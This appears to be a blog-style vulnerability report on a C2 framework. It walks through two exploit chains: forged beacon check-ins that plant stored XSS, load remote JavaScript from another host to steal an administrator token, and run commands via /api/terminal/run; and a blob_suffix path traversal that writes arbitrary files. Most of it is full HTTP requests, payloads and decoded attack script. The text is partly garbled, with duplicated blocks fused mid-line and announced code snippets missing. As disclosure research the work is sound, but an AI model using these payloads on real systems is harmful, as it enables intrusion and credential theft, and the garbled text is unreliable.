October 2, 2026
CyberStrikeAI โ Vulnerability Analysis Report
From Offline Credential Extraction to C2 Server RCE: CyberStrikeAI C2 v1.7.11: Analysis and Reproduction of Two Attack Chains.
By Asy0y0
4 min read
Stored XSS -> Admin Token Theft -> C2 Server RCE via /api/terminal/run Endpoint โ High Severity
After generating a Beacon using the listener, we can extract the AES Key and the X-Implant-Token request header offline.
- AES Key: Used for encrypting packet parameters
- X-Implant-Token: Used for authentication of Beacon HTTP requests
After obtaining these two parameters, we can forge legitimate Beacon packets to simulate implant check-in and inject a Stored XSS payload.
Sending packet:
POST /check_in HTTP/1.1
Host: 192.168.139.212:9090
X-Implant-Token: 18yrL4-lid96FB2gusrymZt-CoTNgMU69FTtImEmiKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 636
Connection: close
rUQ/UMsUQq97Hu9zUcXNd6Me06Bx3dV64JMhs2D5w7yciEoIwlSU07Al0o9yTL1+ZC38lTynNqzQ4HDJUj/Vf8KJraE2Lh1T4pxlMPeOLEI1CCFiWjq4on4jtUUE0St/pvLTVnlOd29kqd8cGlO5YrQldogbTP9rxYcP5SuyUoOoex93Srq1uUBhCxKOvemdXRCWVwjdEjcjW6IqFVb2Y7M49qL9Ijd6jg0MQArAU27LyQY21uSMR5vTx7OGk9xBd2BRx1CGjWt9yXfulDiz6e9MSlhARxU0jyEI4JN8LuPonB565ZJlCTUe16qu2e1Oj4RPII2NCjqo9RuhASahr15rAd1wJt2f2WLNxlnZNUZQGOns4D6ldcAc8fV3rG87yNu5G0Uu05E0eUvy42fREdXQo7feCt0ukpRXgzmr88ZvKqSDIiWjodnOJMUmJc/ocUvvVroBizRo5Ci1fQ29ZEgkTmClyGZzVglx2GHVUS42+zKu6BXVFCvlkQZdz1JBC7uRpaTC6vXmq/EJo6l4kckKlRuDwJtvZNmk75iKgPuwPPRE6QEYB/xab+o8Vw/CfUvXOODf0TrTLEY1h8fcll46ajoqIjqxyNSsNdV49rgqVvWim0pyCY/adyDEPOST /check_in HTTP/1.1
Host: 192.168.139.212:9090
X-Implant-Token: 18yrL4-lid96FB2gusrymZt-CoTNgMU69FTtImEmiKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 636
Connection: close
rUQ/UMsUQq97Hu9zUcXNd6Me06Bx3dV64JMhs2D5w7yciEoIwlSU07Al0o9yTL1+ZC38lTynNqzQ4HDJUj/Vf8KJraE2Lh1T4pxlMPeOLEI1CCFiWjq4on4jtUUE0St/pvLTVnlOd29kqd8cGlO5YrQldogbTP9rxYcP5SuyUoOoex93Srq1uUBhCxKOvemdXRCWVwjdEjcjW6IqFVb2Y7M49qL9Ijd6jg0MQArAU27LyQY21uSMR5vTx7OGk9xBd2BRx1CGjWt9yXfulDiz6e9MSlhARxU0jyEI4JN8LuPonB565ZJlCTUe16qu2e1Oj4RPII2NCjqo9RuhASahr15rAd1wJt2f2WLNxlnZNUZQGOns4D6ldcAc8fV3rG87yNu5G0Uu05E0eUvy42fREdXQo7feCt0ukpRXgzmr88ZvKqSDIiWjodnOJMUmJc/ocUvvVroBizRo5Ci1fQ29ZEgkTmClyGZzVglx2GHVUS42+zKu6BXVFCvlkQZdz1JBC7uRpaTC6vXmq/EJo6l4kckKlRuDwJtvZNmk75iKgPuwPPRE6QEYB/xab+o8Vw/CfUvXOODf0TrTLEY1h8fcll46ajoqIjqxyNSsNdV49rgqVvWim0pyCY/adyDESuccessfully forged implant check-in; payload is as follows:
{
"uuid": "x\"><img src=x onerror=eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==')) width=0 height=0>",
"hostname": "TEST-alert-3f21ae",
"username": "test",
"os": "linux",
"arch": "arm64",
"pid": 3862,
"process_name": "test_svc",
"is_admin": false,
"internal_ip": "10.0.0.59",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"sleep_seconds": 5,
"jitter_percent": 10,
"metadata": {
"transport": "http_beacon",
"cwd": "/tmp"
}
}{
"uuid": "x\"><img src=x onerror=eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==')) width=0 height=0>",
"hostname": "TEST-alert-3f21ae",
"username": "test",
"os": "linux",
"arch": "arm64",
"pid": 3862,
"process_name": "test_svc",
"is_admin": false,
"internal_ip": "10.0.0.59",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"sleep_seconds": 5,
"jitter_percent": 10,
"metadata": {
"transport": "http_beacon",
"cwd": "/tmp"
}
}
Open the CyberStrikeAI Session management page and select our forged check-in Session. The details panel renders implantUuid, successfully triggering the alert popup.
The trigger point for this vulnerability is the implantUuid parameter. Vulnerable code:
onclick="event.stopPropagation(); C2.copyText(${JSON.stringify(String(value))})"
JSON.stringify only performs JavaScript syntax escaping, converting " to ". However, this value is directly concatenated into an HTML attribute context. The HTML parser does not recognize backslash escaping within attributes; upon encountering ", it closes the attribute immediately. The subsequent is then parsed and executed as an HTML tag, resulting in Stored XSS.
onclick="event.stopPropagation(); C2.copyText("x">")"
Through the Administrator API, we can query our forged malicious session:
GET /api/c2/sessions HTTP/1.1
Authorization: Bearer eac56217-d581-4cf3-8f7b-90511dda7305
Accept: application/json
Host: 192.168.139.212:8080
Connection: close
GET /api/c2/sessions HTTP/1.1
Authorization: Bearer eac56217-d581-4cf3-8f7b-90511dda7305
Accept: application/json
Host: 192.168.139.212:8080
Connection: close
Achieving RCE: Load external JS code and exfiltrate Administrator Token
Plaintext request body:
{
"uuid": "x\"><img src=x onerror=eval(atob('dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly8xOTIuMTY4LjEzOS4yNDc6ODAwMC94LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMp')) width=0 height=0>",
"hostname": "RCE-REPRO-jsurl",
"username": "test",
"os": "linux",
"arch": "arm64",
"pid": 20540,
"process_name": "test_svc",
"is_admin": false,
"internal_ip": "10.0.0.12",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"sleep_seconds": 5,
"jitter_percent": 10,
"metadata": {"transport": "http_beacon", "cwd": "/tmp"}
}{
"uuid": "x\"><img src=x onerror=eval(atob('dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly8xOTIuMTY4LjEzOS4yNDc6ODAwMC94LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMp')) width=0 height=0>",
"hostname": "RCE-REPRO-jsurl",
"username": "test",
"os": "linux",
"arch": "arm64",
"pid": 20540,
"process_name": "test_svc",
"is_admin": false,
"internal_ip": "10.0.0.12",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"sleep_seconds": 5,
"jitter_percent": 10,
"metadata": {"transport": "http_beacon", "cwd": "/tmp"}
}Base64 decoded payload:
var s = document.createElement('script');
s.src = 'http://192.168.139.247:8000/x.js';
document.body.appendChild(s);var s = document.createElement('script');
s.src = 'http://192.168.139.247:8000/x.js';
document.body.appendChild(s);Malicious JS code:
Retrieve token from localStorage: localStorage.getItem('cyberstrike-auth')
Successfully retrieved Administrator Token: eac56217-d581โ4cf3โ8f7b-90511dda7305
POST /api/terminal/run HTTP/1.1
Authorization: Bearer eac56217-d581-4cf3-8f7b-90511dda7305
Content-Type: application/json
Accept: application/json
Content-Length: 41
Host: 192.168.139.212:8080
Connection: close
{"command": "id; hostname; whoami; ip a"}POST /api/terminal/run HTTP/1.1
Authorization: Bearer eac56217-d581-4cf3-8f7b-90511dda7305
Content-Type: application/json
Accept: application/json
Content-Length: 41
Host: 192.168.139.212:8080
Connection: close
{"command": "id; hostname; whoami; ip a"}
Remote command execution succeeded
/result Endpoint Request Plaintext Fallback + blob_suffix Path Traversal Arbitrary File Write โ High Severity
After the forged session checks in, decrypt the plaintext response:
{
"session_id": "s_5ee99276b09f4e",
"next_sleep": 5,
"next_jitter": 10,
"has_tasks": false,
"server_time": 1790949333814
}{
"session_id": "s_5ee99276b09f4e",
"next_sleep": 5,
"next_jitter": 10,
"has_tasks": false,
"server_time": 1790949333814
}Obtained Session_Id: s_5ee99276b09f4e
In internal/c2/listener_http.go, when DecryptAESGCM fails, it attempts to directly parse the payload as plaintext:
Therefore, in reality, due to the request plaintext fallback mechanism, the attack chain for the aforementioned RCE vulnerability can be fully executed even without encrypting the request body. In our report, encryption was chosen to fully simulate Beacon traffic; for this vulnerability, we will demonstrate using unencrypted packets.
After obtaining Session_Id, we need to retrieve an existing Task_Id for this session (the Task can only be created by an administrator):
GET /tasks?session_id=s_5ee99276b09f4e HTTP/1.1
Host: 192.168.139.212:9090
X-Implant-Token: 18yrL4-lid96FB2gusrymZt-CoTNgMU69FTtImEmiKw
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Connection: close
GET /tasks?session_id=s_5ee99276b09f4e HTTP/1.1
Host: 192.168.139.212:9090
X-Implant-Token: 18yrL4-lid96FB2gusrymZt-CoTNgMU69FTtImEmiKw
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Connection: close
It is worth noting that if the request headers Accept / Content-Type include application/json, or the User-Agent contains curl, the responses for both /tasks and /result endpoints will also fall back to plaintext โ this is the response plaintext fallback mechanism.
This must be distinguished from the request plaintext fallback described above. Both share the same underlying purpose โ as stated in the code comments, "to support lightweight clients such as curl." However, request plaintext fallback occurs during the HTTP Request body parsing phase: even if the user sends plaintext, when server-side ciphertext decryption fails, it degrades to parsing and executing as plaintext.
On the other hand, response plaintext fallback is controlled by a function named isPlaintextClient. Its triggering condition is that "the request header Accept / Content-Type contains application/json, or the User-Agent header contains curl." Once triggered, the server directly returns plaintext data in the response instead of encrypted data.
Request plaintext fallback + Path traversal:
POST /result HTTP/1.1
X-Implant-Token: 18yrL4-lid96FB2gusrymZt-CoTNgMU69FTtImEmiKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/octet-stream
Content-Length: 255
Host: 192.168.139.212:9090
Connection: close
{"task_id": "t_8f99b6005e2f40", "success": true, "output": "test", "blob_b64": "dGVzdDEyMy1hcmJpdHJhcnktd3JpdGUtOGU4NDRlOTY=", "blob_suffix": "./../../../../../../../../../../tmp/VULN_test_8e844e96", "started_at": 1785948197208, "ended_at": 1785948197208}POST /result HTTP/1.1
X-Implant-Token: 18yrL4-lid96FB2gusrymZt-CoTNgMU69FTtImEmiKw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/octet-stream
Content-Length: 255
Host: 192.168.139.212:9090
Connection: close
{"task_id": "t_8f99b6005e2f40", "success": true, "output": "test", "blob_b64": "dGVzdDEyMy1hcmJpdHJhcnktd3JpdGUtOGU4NDRlOTY=", "blob_suffix": "./../../../../../../../../../../tmp/VULN_test_8e844e96", "started_at": 1785948197208, "ended_at": 1785948197208}Vulnerable code:
The suffix parameter is controllable; path traversal breakdown:
dir = /home/asy0y0/CyberStrikeAI/tmp/c2/results
taskID = t_8f99b6005e2f40 (Must be an actual task ID that exists in the database)
suffix = ./../../../../../../../../../../tmp/VULN_test
Join โ Clean("results/t_8f99b6005e2f40/./../../../..โฆ/tmp/VULN_test")
= /tmp/VULN_test โ Lexically escapes out of the target directorydir = /home/asy0y0/CyberStrikeAI/tmp/c2/results
taskID = t_8f99b6005e2f40 (Must be an actual task ID that exists in the database)
suffix = ./../../../../../../../../../../tmp/VULN_test
Join โ Clean("results/t_8f99b6005e2f40/./../../../..โฆ/tmp/VULN_test")
= /tmp/VULN_test โ Lexically escapes out of the target directoryThe written file content is the value of the blob_b64 parameter, which is also attacker-controlled.